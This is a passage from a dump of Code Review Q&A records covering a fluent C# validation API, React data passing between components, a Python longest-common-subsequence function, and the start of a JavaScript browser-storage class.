"body": "<p>This API does feel fluent for consumers to use. \nYou have also included some features I missed in the post you were inspired by.</p>\n\n<ul>\n<li>various severity levels [warning, error]</li>\n<li>custom error messages (<em>although t3chb0t did comment he was working on this</em>)</li>\n</ul>\n\n<p>What I'm still missing is a way to throw an exception if I want to. Currently, your API is a sand-box. You could foresee <code>ThrowOnError</code> and <code>ThrowOnWarning</code>. Perhaps also with overloads that take an exception type. If multiple errors/warnings are found, they should be wrapped in an <code>AggregateException</code>.</p>\n\n<pre><code>private static void DoTheValidation<T>(Validator<T> validator, T source)\n{\n var result = source.ValidateWith(validator).ThrowOnError().Result;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T20:21:22.470",
"Id": "431470",
"Score": "1",
"body": "OK, I understand, what you mean, and I will let it be a candidate for further development, but I intentionally try to avoid throwing - adapted from the Railway pattern. But your suggested example could easily be implemented as an extension to `IEnumerable<ValidateResult<T>>`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T20:24:16.990",
"Id": "431471",
"Score": "0",
"body": "I'm also curious to see how to comply to Railway Oriented Programming. Is there a specification you would like to adhere to? And what is currently missing in yours?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T21:12:28.787",
"Id": "431473",
"Score": "0",
"body": "No, I have left the idea of comply to ROP, in order to define the rules in one place and execution them on possible several objects another time and place. ROP is more of a structural pattern where each function is bound to the previous and act differently on the previous functions result depending on whether the previous function succeeded or failed. In the above scenario each rule works independently from its predecessor and the order is arbitrary. My original answer to t3chb0ts question is only \"ROP-ish\" in that each rule only is evaluated if the previous succeeded."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T05:43:35.670",
"Id": "431502",
"Score": "1",
"body": "I got the impression that there is a misunderstanding to the intention of such validators. To me, their main purpose is to validate data-objects so throwing custom exceptions is in my opinion rarely required and it's not really necessary to open this API to the end-user (although easy to code). This means that a DTO is either valid, invalid or is something inbetween where data could be corrected so the validation yields _just_ warnings which is a new concept (to me) - but I like it very much as this is a point where possible _fixing_ extensions could be implemented."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T05:55:25.513",
"Id": "431503",
"Score": "1",
"body": "I also think that `AggregateException` is for something else. Here, we don't produce exceptions but validation results and since they are not _real_ exceptions, they shouldn't be aggregated. Instead, there should be only one final exception telling me that a dto is invalid. The only useful thing about exceptions is their name and message anyway so they sholdn't contain any other data (based on experience)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T05:55:27.520",
"Id": "431504",
"Score": "1",
"body": "In case of DTOs it's often even desirable to not throw; when you got hundereds of dtos where a great deal of them might be invalid it could turn out to a huge bottleck so it's good to be able to avoid exceptions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T06:30:51.083",
"Id": "431506",
"Score": "0",
"body": "@t3chb0t: I agree with your thoughts about not throwing. My picture of usage is not as clear as yours, so I can't say it couldn't be a valid path in some scenarios. Your fixing extension idea sounds interesting; do you mean correcting DTO properties for instance in a data migration process?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T06:34:06.020",
"Id": "431508",
"Score": "0",
"body": "@HenrikHansen yes, but honestly, I have no idea how to exactly solve it yet, it's a very fresh idea that I come up with just yesterday after seeing the suggestion with the `Warning` ;-) I was then thinking... what could I use this for? And I thought maybe these _non-critical_ validations could be fixed... mhmm, just thinking aloud."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T06:38:05.223",
"Id": "431509",
"Score": "1",
"body": "@t3chb0t You guys are on the verge of building a compiler here. At least an 'optimizer' part handling and manipulating expressions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T06:51:57.587",
"Id": "431510",
"Score": "1",
"body": "@dfhwze I think I'm just lazy and like it when repetitive things happen _automagically_ ;-)"
}
],
"meta_data": {
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T20:08:38.193",
"Id": "222825",
"ParentId": "222821",
"Score": "4"
}
},
{
"body": "<h3>Fluent API</h3>\n\n<p>Fluent APIs are generally very useful but one has to be very careful with them as there is a chance of making them <em>overfluent</em>. This means that you try to create an API for every possible combination like:</p>\n\n<blockquote>\n<pre><code> var validator = Validator.For<Person>(ValidationStopConditions.RunAll)\n .WarnIfTrue(p => p.Age > 50, \"Person is older than 50\")\n .WarnIfFalse(p => p.Age < 50, \"Person is older than 50\")\n .NotNull(p => p.LastName, \"LastName is null\")\n .MustBeNull(p => p.LastName, \"LastName should be null\")\n .IsTrue(p => p.FirstName.Length > 3, \"First Name is too short\")\n .IsFalse(p => p.FirstName.StartsWith(\"Cos\"), \"First Name starts with Coo\")\n .Match(p => p.Address.Street, @\"^Sesa(m|n)e Street$\", \"Street Name doesn't conform to the pattern\");\n</code></pre>\n</blockquote>\n\n<p>Instead, I think it's better to make them composable so that end-users have the freedom of creating expressions not anticipated by the API creator. (I made this mistake in my utility too (by having <code>Null</code> and <code>NotNull</code> instead of using a <em>modifier</em>) so I have redesigned it since).</p>\n\n<p>This would both reduce the number of available APIs and the learning curve for the end-user and make also coding and testing easier because there would be much less combinations.</p>\n\n<p>Consider this:</p>\n\n<pre><code>Validator\n .For<Person>()\n .True(p => p.Age > 50)\n // then modifiers can be chained...\n .Exclude() // <- or Exclude/Not/Negate etc,\n .Require() // <- upgrades this check to yield an error instead of a warning\n</code></pre>\n\n<p>Without such <em>modifiers</em> like <code>Exclude/Not</code> or <code>Warn</code> you would need to create these versions for each and every rule. Then you add a new one... and you can create it three or four times again. Now, what happens if you create a new modifier? You'll have to create even more versions of all existing APIs. You would end up with so many of them...</p>\n\n<h3>Consistency</h3>\n\n<p>There should be more consistency between the APIs. So, when there is <code>MustBeNull</code> then there should also be <code>MustBeTrue</code> instead of just <code>IsTrue</code>, etc.</p>\n\n<h3>Validation levels</h3>\n\n<p>I like that idea of having results other than just black-n-white but also a <em>gray</em> <code>Warning</code> inbetween. This opens a bunch of whole new possibilities such as fixing property values.</p>\n\n<h3>Handling validations</h3>\n\n<p>I think the first <em>switch</em> is (might be) dagerous:</p>\n\n<blockquote>\n<pre><code> public enum ValidationStopConditions\n {\n RunAll = 1,\n StopOnFailure = 2,\n StopOnWarning = 3\n }\n</code></pre>\n</blockquote>\n\n<p>I haven't exactly analyzed how rules are handled but it might crash when <code>person.FirstName</code> is <code>null</code> and later <code>person.FirstName > 3</code> is used. The idea of having <code>Error</code> rule was to break here because it's pointless to check other conditions that rely on that one. This should signal an <em>unrecoverable</em> validation error. But I guess it just yields through all other rules (according to ROP).</p>\n\n<h3>Creating & compiling expressions</h3>\n\n<p>Expressions can be very tricky but they are at the same time super useful for generating error messages and it's nice to see that model here too. However some of them are less useful than other. Let's take a look at this one:</p>\n\n<blockquote>\n<pre><code> var getter = expression.Compile();\n Predicate<T> predicate = source => Regex.IsMatch(getter(source), pattern);\n</code></pre>\n</blockquote>\n\n<p>The generated expression string won't show the <code>Regex.IsMatch</code> because it's not part of the expression. Unless it's by design, I suggest the follwing approach (taken from my new APIs). Here, you build a new expression containing all calls so that they are rendered into the final string.</p>\n\n<pre><code> public static LambdaExpression Match<T>(Expression<Func<T, string>> expression, string pattern, RegexOptions options)\n {\n var isMatchMethod = typeof(Regex).GetMethod(nameof(Regex.IsMatch), new [] { typeof(string), typeof(string), typeof(RegexOptions) });\n return\n Expression.Lambda(\n Expression.Call(\n isMatchMethod,\n expression.Body,\n Expression.Constant(pattern),\n Expression.Constant(options)),\n expression.Parameters\n );\n }\n</code></pre>\n\n<h3>Naming</h3>\n\n<p>I would rename the <code>ValidateExpressionVisitor</code> to something more intuitive like <code>ValidationMessageCreator</code>. It doesn't have to have the <code>Visitor</code> ending as it rarely fits into what a visitor is actually doing. I suggest dropping that suffix.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T07:11:40.807",
"Id": "431514",
"Score": "0",
"body": "Good thoughts. My objective was to \"flatten\" the use, so the api is easier to use, but you have a point. My rules isn't that thought through, but when writing them I considered to have as few as possible, for instance is the complementary `IsTrue`and `IsFalse` really both necessary? The two level chaining might be the best solution."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T07:17:31.250",
"Id": "431516",
"Score": "0",
"body": "@HenrikHansen I think in case of `IsTrue` and `IsFalse` there could be made an exception as there is no _negation_ preffix added. I would complain when I saw `IsNotTrue`, this actually would be pretty weird. Occasional excpetions from rules are fine if they have _good_ reason to exist. _My rules isn't that thought through_ - I usually start _coding_ (on the end-user level) in _notepad_ until I'm happy with the API and only then start real coding which then becomes much easier and faster. I can recommend this approach ;-]"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T06:44:59.960",
"Id": "222844",
"ParentId": "222821",
"Score": "8"
}
},
{
"body": "<h2>Cleaner consumer interface</h2>\n\n<p><strong>WarnIfTrue / WarnIfFalse</strong></p>\n\n<pre><code>.WarnIfTrue(p => p.Age > 50, \"Person is older than 50\")\n.WarnIfFalse(p => p.Age < 50, \"Person is older than 50\")\n</code></pre>\n\n<p>I don't see a need to create two methods for this. \"if true\" and \"if false\" is a matter of <em>thinking like a programmer</em>, instead of thinking like a consumer. You can achieve the same by only having one function:</p>\n\n<pre><code>.WarnIf(p => p.Age > 50, \"Person is older than 50\")\n.WarnIf(p => p.Age < 50, \"Person is younger than 50\")\n</code></pre>\n\n<p>Any developer who wants to use your method and would be choosing between <code>WarnIfTrue</code> and <code>WarnIfFalse</code> can just as well choose to logically invert their lambda.</p>\n\n<p><strong>IsTrue / IsFalse</strong></p>\n\n<p>The same applies here:</p>\n\n<pre><code>.IsTrue(p => p.FirstName.Length > 3, \"First Name is too short\")\n.IsFalse(p => p.FirstName.StartsWith(\"Cos\"), \"First Name starts with Coo\")\n</code></pre>\n\n<p>which can be shortened to</p>\n\n<pre><code>.Require(p => p.FirstName.Length > 3, \"First Name is too short\")\n.Require(p => !p.FirstName.StartsWith(\"Cos\"), \"First Name starts with Cos\")\n</code></pre>\n\n<p>I used <code>Require</code> instead of <code>Is</code> because in my opinion <code>Is</code> suffers from making it unclear whether the message applies to when the statement is true or when it is false. Using <code>Require</code>, it's clearer that the lambda defines what must be the case, and the message applies to when the requirement is not met.</p>\n\n<p><strong>MustBeNull / NotNull</strong></p>\n\n<pre><code>.NotNull(p => p.LastName, \"LastName is null\")\n.MustBeNull(p => p.LastName, \"LastName should be null\")\n</code></pre>\n\n<p>I don't think you need these methods. Compared to the above <code>IsTrue</code>/<code>IsFalse</code> (or <code>Require</code>) methods, all you're providing to the consumer is that they don't have to write their own null check.<br>\nComparatively, the <code>Match</code> method is really bringing something new to the table that would not be trivial to have to write yourself (as the consumer). But a null check is nowhere near complex enough to warrant expanding the interface.</p>\n\n<p>The effort of knowing that these two additional methods exist add more complexity to your consumer's life than writing the null check does. So my suggestion is to stick to what you already had:</p>\n\n<pre><code>.Require(p => p.LastName == null, \"LastName should be null\")\n.Require(p => p.LastName != null, \"LastName cannot be null\")\n</code></pre>\n\n<p>Tangentially, since you're checking a string, a null check usually isn't enough anyway:</p>\n\n<pre><code>.Require(p => String.IsNullOrWhitespace(p.LastName), \"LastName should be null\")\n.Require(p => !String.IsNullOrWhiteSpace(p.LastName), \"LastName cannot be null\")\n</code></pre>\n\n<hr>\n\n<h2>Keeping it DRY</h2>\n\n<p>Take a good look at these methods:</p>\n\n<pre><code>internal void AddRule(Predicate<T> predicate, string errorMessage)\n{\n Func<T, ValidateResult<T>> rule = source =>\n {\n if (predicate(source))\n return new Success<T>(source);\n return new Failure<T>(source, errorMessage);\n };\n m_rules.Add(rule);\n}\n\ninternal void AddWarning(Predicate<T> predicate, string warningMessage)\n{\n Func<T, ValidateResult<T>> rule = source =>\n {\n if (predicate(source))\n return new Success<T>(source);\n return new Warning<T>(source, warningMessage);\n };\n m_rules.Add(rule);\n}\n</code></pre>\n\n<p>the only difference between them is that you either return a <code>Failure<T></code> or <code>Warning<T></code> when the condition is not met. The rest of the logic is the same. This can be abstracted further.</p>\n\n<pre><code>internal void AddRule(Predicate<T> predicate, string message, bool isWarning)\n{\n Func<T, ValidateResult<T>> rule = source =>\n {\n if (predicate(source))\n return new Success<T>(source);\n\n return isWarning\n ? new Warning<T>(source, message)\n : new Failure<T>(source, message);\n };\n m_rules.Add(rule);\n}\n</code></pre>\n\n<p>The example I gave suffers from a potential OCP weakness. If you expand on the possibilities and add variants to the <code>Success</code>/<code>Warning</code>/<code>Failure</code> pattern, then you're going to have to modify this method.<br>\nIt is possible to avoid that. However, I consider it quite unlikely as the green/yellow/red principle of error checking is a well-defined principle that is very commonly used.</p>\n\n<p>That being said, if you do want to avoid the OCP weakness, you can do something like</p>\n\n<pre><code>public enum FailureType { Failure, Warning, NuclearLaunch }\n\ninternal void AddRule(Predicate<T> predicate, string message, FailureType failureType)\n{\n Func<T, ValidateResult<T>> rule = source =>\n {\n if (predicate(source))\n return new Success<T>(source);\n\n return GetFailureResult(failureType, source, message);\n };\n m_rules.Add(rule);\n}\n\nprivate ValidateResult<T> GetFailureResult(FailureType failureType, T source, string message)\n{\n switch(failureType)\n {\n case FailureType.Warning:\n return new Warning<T>(source, message);\n // ...\n }\n}\n</code></pre>\n\n<p>Other solutions are possible too. However, the focus of this improvement was to DRY all other logic <em>except</em> the \"failure object picking\" logic, since all other logic was exactly the same.</p>\n\n<hr>\n\n<h2>Extension methods?</h2>\n\n<blockquote>\n <p>And the rules are defined as extension methods as:</p>\n</blockquote>\n\n<p>Why are these rules defined as extension methods? Why not just include them in the class?</p>\n\n<p>I get the feeling that you split them up to keep the class shorter. But that's not how/why you should use extension methods. It seems like you're using extension methods as a clever way to hide the additional complexity of your class.</p>\n\n<p>This also leads to a compromise in accessibility (albeit minor). You've defined <code>AddRule</code> and <code>AddWarning</code> as <code>internal</code>. Had you added the extension methods to the class directly, you could've made them <code>private</code>. The difference is that by making them internal, other classes from the same assembly now have access to something they shouldn't have access to.</p>\n\n<p>Following the earlier advice to reduce the methods made available to the consumer, you should end up with a shortened ruleset which makes it well acceptable to add these to the class itself and make the <code>internal</code> methods <code>private</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:14:05.680",
"Id": "431523",
"Score": "0",
"body": "_Why are these rules defined as extension methods? Why not just include them in the class?_ - I can answer that. Because this way anyone can add their own convenience extensions. Writing each condition like `x == null` is counter productive. The most common cases **must** have _shortcuts_ and the user must be able to add their own domain related APIs if necessary. The main class should optimally have only a single method that allows you to add validation rules. The user is the one to define them. Otherwise it would be closed for extension."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:17:44.683",
"Id": "431525",
"Score": "0",
"body": "@t3chb0t: The use for extension methods to extend a class is to do so **from a different assembly**. OP's extension methods rely on access to **internal** class methods, which will not be accessible from another assembly."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:18:46.503",
"Id": "431526",
"Score": "0",
"body": "ok, that `internal` I didn't notice. Then it's obviously a **bug**. I also disagree with most of your suggestions. APIs like `.Require(p => String.IsNullOrWhitespace(p.LastName), \"LastName should be null\")` are generally necessary but having only this one makes using this utility extremely difficult and verbose. The whole purpose of having these extensions is to not having to write all that boilerplate code over and over again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:35:45.557",
"Id": "431530",
"Score": "0",
"body": "Tanks for the input. Many good considerations. You could argue for a succinct set of rules directly on the `Validator` class, but I thought it was more \"democratic\" to have them as extensions, but there are really no design reasons for that. And the `internal` access modifier on `AddRule` and `AddWarning` is certainly a flaw that has survived from an early stage in the process."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:36:36.167",
"Id": "431531",
"Score": "2",
"body": "@t3chb0t: In that case, I'd still advocate `Is`/`IsNot` rather than `IsTrue`/`IsFalse` (and similar). If readable boilerplating is the goal, then the readbility needs to favor semantics (i.e. what you'd say in English) over technicalities (i.e. how a programmer describes it)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:48:04.787",
"Id": "431533",
"Score": "0",
"body": "I think this _readbility needs to favor semantics over technicalities_ is context dependent. The API targets developers so for them it's easier (from my point of view) to use naming that is close to the code. If I was writing such an API to be used on a website or a filter in a tool I would definitely chose the more _neutral_ convention which is more familiar to most _ordinary_ users."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:50:21.633",
"Id": "431534",
"Score": "0",
"body": "I don't like your suggestion on DRY-cleaning, but I considered an injected delegate that returns the desired failure/warning result hence determine the level of severity. Consumers could then derive other result types as needed for their rules?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:51:56.933",
"Id": "431536",
"Score": "0",
"body": "@HenrikHansen: Injecting the return value is another valid solution, though I'm not sure how much it's going to add to the complexity and business logic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:55:28.133",
"Id": "431537",
"Score": "0",
"body": "@t3chb0t: I don't think you can have it both ways. Developers will generally appreciate **control** over naming, and thus a more general \"if not [predicate] then [error/warning] [message]\" suffices. Additional checks suffer from the developer not being sure exactly what is being checked, and developers may still end up needing more direct control over the checking logic. However, **fluent** API favors a syntax that is as close to readable English as it can semantically get without becoming silly. \"Is not X\" is much more idiomatic than \"is X is false\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:56:28.837",
"Id": "431538",
"Score": "0",
"body": "@Flater: I could make it optional with a fall back to failure"
}
],
"meta_data": {
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:07:26.070",
"Id": "222854",
"ParentId": "222821",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "222854",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:49:30.293",
"Id": "222821",
"Score": "7",
"Tags": [
"c#",
"validation",
"fluent-interface"
],
"Title": "Fluent Validation of Objects"
} | 222821 |
<p>I'm learning React recently, but I've been having some issues regarding propagating data from component to component. My general situation is: I have a <code>textarea</code> for input, a send <code>button</code> and a <code>textarea</code> for output - essentially a chat interface. So I would like the user to enter data in the first <code>textarea</code> and then propagate it to the next <code>textarea</code> when the <code>button</code> is pressed. I have achieved the result using four components:</p>
<pre><code>//chatbox.js
import React from "react";
import { TextBubble } from "./TextBubble";
const style = {
border: "2px solid gray",
width: "400px",
height: "300px",
marginTop: "50px",
overflow: "hidden",
whiteSpace: "pre"
}
export class Chatbox extends React.Component {
render() {
return (
<p style={style}>
{this.props.text}
</p>
)
}
}
</code></pre>
<pre><code>//InputBar.js
import React from "react";
import { TextEnter } from "./TextEnter.js";
import { SendButton } from "./SendButton.js";
export class InputBar extends React.Component {
constructor(props) {
super(props);
this.state = {text: ''}
this.setTextInput = this.setTextInput.bind(this)
this.clickButton = this.clickButton.bind(this)
}
setTextInput(text) {
this.state.text = text
}
clickButton() {
this.props.setTextInput(this.state.text)
}
render() {
var inline ={
display: "flex"
}
return (
<div style={inline}>
<TextEnter style={inline} setTextInput={this.setTextInput}/>
<SendButton style={inline} clickButton={this.clickButton}/>
</div>
)
}
}
</code></pre>
<pre><code>//SendButton.js
import React from "react";
export class SendButton extends React.Component {
constructor(props) {
super(props);
this.handleClick = this.handleClick.bind(this);
}
handleClick() {
this.props.clickButton()
}
render() {
var style = {
"background-color": "navy",
"border": "none",
"color": "white",
"width": "50px",
"padding": "8px 0px",
"height": "40px",
"text-align": "center",
"text-decoration": "none",
"display": "inline-block",
"font-size": "16px",
}
return (
<button style={style} onClick={this.handleClick}>
Send
</button>
)
}
}
</code></pre>
<pre><code>//TextEnter.js
import React from "react";
const style = {
border: "2px solid gray",
width: "350px",
height: "40px",
resize: "none"
}
export class TextEnter extends React.Component {
constructor(props) {
super(props);
this.state = {value: ''}
this.handleChange = this.handleChange.bind(this)
}
handleChange() {
this.setState({value: event.target.value});
this.props.setTextInput(event.target.value)
}
render() {
return (
<div>
<textarea value={this.state.value} onChange={this.handleChange} style={style}></textarea>
</div>
)
}
}
</code></pre>
<p>And in <code>App.js</code>, I have </p>
<pre><code>import React from 'react';
import './App.css';
import { Chatbox } from "./components/Chatbox";
import { InputBar } from "./components/InputBar";
export class App extends React.Component {
constructor(props) {
super(props);
this.state = {text: ''}
this.setTextInput = this.setTextInput.bind(this)
}
setTextInput(text) {
var currentText = this.state.text
if (currentText == '') {
var newText = text
} else {
var newText = currentText + '\n' + text
}
this.setState({text: newText})
}
render() {
return (
<div className="container">
<div className="row">
<div>
<Chatbox text={this.state.text}/>
</div>
</div>
<div className="row">
<InputBar setTextInput={this.setTextInput}/>
</div>
</div>
);
}
}
</code></pre>
<p>The general strategy here, which I found on some blog post, is to get the data from child to parent by passing the child a function which it calls whenever there is an update - either text in the box changing or the button being pressed. This data can then be passed from parent to child via <code>props</code>. My issue with this is that it seems to take a whoooole lot of boiler plate code which I feel could be somehow reduced, though I'm not sure how to do that.</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T19:08:52.333",
"Id": "222823",
"Score": "1",
"Tags": [
"beginner",
"react.js",
"jsx"
],
"Title": "Propagating data in React"
} | 222823 |
<p>Could I get some feedback on this code? I included a test case as well.</p>
<p>This code computes the longest common sub sequence given paired data, it was not part of any challenge I just did it to learn about dp.</p>
<p>To my understanding it runs in <span class="math-container">\$\mathcal{O}(m*v)\$</span> where <span class="math-container">\$m\$</span> is length <code>str1</code> and <span class="math-container">\$v\$</span> len <code>str2</code>.</p>
<pre><code>def lcs(word1, word2):
x = len(word1)
y = len(word2)
return _lcs(word1, word2, x, y)
def _lcs(word1, word2, x, y):
matrix = [[-1]*(x) for val in range (0,y)]
for i in range(0, y):
for j in range(0, x):
if word1[j] == word2[i]:
if i-1 < 0 or j-1 < 0:
matrix[i][j] = 1
else:
matrix[i][j] = 1 + matrix[i-1][j-1]
else:
val1 = 0
val2 = 0
if i-1 >= 0:
val1 = matrix[i-1][j]
if j-1 >= 0:
val2 = matrix[i][j-1]
matrix[i][j] = max(val1,val2)
return matrix[y-1][x-1]
a = 'ABC'
b = 'ABCD'
print(lcs(a,b))
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T23:57:09.990",
"Id": "431484",
"Score": "0",
"body": "Hi Alex, I updated the main post, its not a challenge qn just one I did to learn something new, I would like feedback on code style/clarity/efficiency."
}
] | [
{
"body": "<p><code>x</code> and <code>y</code> are terrible variable names. <code>length1</code> and <code>length2</code> would be better.</p>\n\n<hr>\n\n<pre><code>matrix = [[-1]*(x) for val in range (0,y)]\n</code></pre>\n\n<p>You are not using <code>val</code> in this list comprehension. Convention is to use <code>_</code> for throw-away, variables needed for syntax reasons, but not actually used.</p>\n\n<p><code>0</code> is the default minimum in <code>range()</code> statements. If you loop from <code>0</code> to some limit, you don't need to mention the <code>0</code>; you can just use <code>range(y)</code>.</p>\n\n<p>You are never reading the <code>-1</code> value anywhere. The value is always overwritten by another value before it is read. To make this clearer, store <code>None</code> instead of <code>-1</code> in the matrix you are creating.</p>\n\n<pre><code>matrix = [ [None] * x for _ in range(y) ]\n</code></pre>\n\n<hr>\n\n<p>Using <code>i-1 < 0</code> is an awkward way of writing <code>i == 0</code>. Similarly, <code>i-1 >= 0</code> can be written simply as <code>i > 0</code>, or perhaps even <code>i</code>, since non-zero values are \"Truthy\".</p>\n\n<hr>\n\n<p>The following is awkward and hard to understand. 6 statements, 4 assignments, two conditionals. What does it do? What does it mean?</p>\n\n<pre><code> val1 = 0\n val2 = 0\n if i-1 >= 0:\n val1 = matrix[i-1][j]\n if j-1 >= 0:\n val2 = matrix[i][j-1]\n</code></pre>\n\n<p>Python has a <code>x if cond else y</code> trinary operator, which may help simplify and clarify the code.</p>\n\n<pre><code> val1 = matrix[i-1][j] if i > 0 else 0\n val2 = matrix[i][j-1] if j > 0 else 0\n</code></pre>\n\n<p>That a lot more concise. Two statements which look the similar; the differences should be clear, and it should be easier to understand what those differences mean.</p>\n\n<pre><code> for i in range(y):\n for j in range(x):\n\n if word1[j] == word2[i]:\n matrix[i][j] = 1\n if i > 0 and j > 0:\n maxtrix[i][j] += matrix[i-1][j-1]\n\n else:\n val1 = matrix[i-1][j] if i > 0 else 0\n val2 = matrix[i][j-1] if j > 0 else 0\n matrix[i][j] = max(val1, val2)\n</code></pre>\n\n<hr>\n\n<p>The statement <code>return matrix[y-1][x-1]</code> returns the last column of the last row. You don't actually need to know the dimensions of the matrix for this. Simply <code>return matrix[-1][-1]</code>.</p>\n\n<hr>\n\n<p>After you generate row 1, you no longer need row 0 of the matrix. After you generate row 2, you no longer need row 1 of the matrix. After you generate row 3, you no longer need row 2 of the matrix. This means you could solve the problem in <span class=\"math-container\">\\$O(m)\\$</span> memory, instead of <span class=\"math-container\">\\$O(m*v)\\$</span> memory, by simply maintaining a <code>prev_row</code> and <code>next_row</code>, instead of an entire <code>matrix</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:19:51.067",
"Id": "431603",
"Score": "0",
"body": "Thank you so much, I learn a lot of new stuff."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T04:01:06.283",
"Id": "222841",
"ParentId": "222829",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "222841",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T21:56:08.783",
"Id": "222829",
"Score": "2",
"Tags": [
"python",
"algorithm",
"python-3.x",
"strings",
"dynamic-programming"
],
"Title": "Length of the longest common sub sequence bottom up"
} | 222829 |
<h2>The Code</h2>
<p>I've got things operating as desired so far and am hoping fresh eyes can point out any mistakes or bits that can be improved, a <a href="https://javascript-utilities.github.io/browser-storage/index.html" rel="nofollow noreferrer">live demo</a> is hosted and updated on GitHub Pages, Travis-CI <a href="https://travis-ci.com/javascript-utilities/browser-storage" rel="nofollow noreferrer">build logs</a> of Jest tests are available for review, and the <a href="https://github.com/javascript-utilities/browser-storage" rel="nofollow noreferrer">source code</a> is just a <code>fork</code> or <code>clone</code> away....</p>
<h3><code>browser-storage.js</code></h3>
<pre><code>/**
* @author S0AndS0
* @copyright AGPL-3.0
* @example <caption>Quick Usage for Browser Storage</caption>
* // Initialize new class instance
* const storage = new Browser_Storage();
* if (!storage.storage_available) {
* console.error('No browser storage available!');
* } else {
* if (!storage.supports_local_storage) {
* console.warn('Falling back to cookies!');
* }
* // Do stuff with local storage of browser!
* storage.setItem('test__string', 'Spam!', 7);
* console.log("storage.getItem('test__string') -> " + storage.getItem('test__string'));
* }
*/
class Browser_Storage {
/**
* Sets properties used by other methods of this class
* @returns {none}
* @property {boolean} supports_local_storage - What `this.constructor.supportsLocalStorage()` had to say
* @property {boolean} supports_cookies - What `this.supportsCookies()` had to say
* @property {boolean} storage_available - If either of the above is `true`
* @this Browser_Storage
* @class
*/
constructor() {
this.supports_local_storage = this.constructor.supportsLocalStorage();
this.supports_cookies = this.supportsCookies();
this.storage_available = (this.supports_cookies || this.supports_local_storage) ? true : false;
}
/**
* Copy of `this.constructor` that should not throw `TypeError` when called
* @returns {none}
* @this Browser_Storage
*/
constructorRefresh() {
this.supports_local_storage = this.constructor.supportsLocalStorage();
this.supports_cookies = this.supportsCookies();
this.storage_available = (this.supports_cookies || this.supports_local_storage) ? true : false;
}
/**
* Tests and reports `boolean` if `localStorage` has `setItem` and `removeItem` methods
* @returns {boolean}
*/
static supportsLocalStorage() {
// Because Opera and may be other browsers `setItem`
// is available but with space set to _`0`_
try {
localStorage.setItem('test_key', true);
} catch (e) {
if (!(e instanceof ReferenceError)) throw e;
return false;
} finally {
localStorage.removeItem('test_key');
}
return true;
}
/**
* Reports if cookies are enabled. Note, use `this.supports_cookies` instead within tests.
* @returns {boolean}
* @this Browser_Storage
*/
supportsCookies() {
// Browser support detection must be interactive as some
// may be _full_ or not enabled without updating state!
if (this._setCookieItem('testcookie', '', 7)) {
return this._setCookieItem('testcookie', '', -7);
}
return false;
}
/**
* Use `this.setItem` instead. Attempts to set cookie
* @returns {boolean}
* @param {string|number} key - _variable name_ to store value under
* @param {*} value - stored either under localStorage or as a cookie
* @param {number} [days_to_live=false] - how long a browser is suggested to keep cookies
*/
_setCookieItem(key, value, days_to_live) {
const encoded_key = encodeURIComponent(key);
const encoded_value = encodeURIComponent(JSON.stringify(value));
let expires = '';
if (isNaN(days_to_live) == false) {
const date = new Date();
const now = date.getTime();
if (days_to_live == 0) {
date.setTime(now);
} else {
date.setTime(now + (days_to_live * 24 * 60 * 60 * 1000));
}
expires = '; expires=' + date.toGMTString();
}
try {
document.cookie = encoded_key + '=' + encoded_value + expires + '; path=/';
} catch (e) {
if (!(e instanceof ReferenceError)) throw e;
return false
} finally {
return true;
}
}
/**
* Use `this.getItem` instead. Attempts to get cookie by _key_ via `match`
* @returns {*}
* @param {string|number} key - Name of key to look up value for.
*/
_getCookieItem(key) {
const encoded_key = encodeURIComponent(key);
const cookie_data = document.cookie.match('(^|;) ?' + encoded_key + '=([^;]*)(;|$)');
if (cookie_data === null || cookie_data[2] === 'undefined') return undefined;
return JSON.parse(decodeURIComponent(cookie_data[2]));
}
/**
* Gets decoded/JSON value for given key
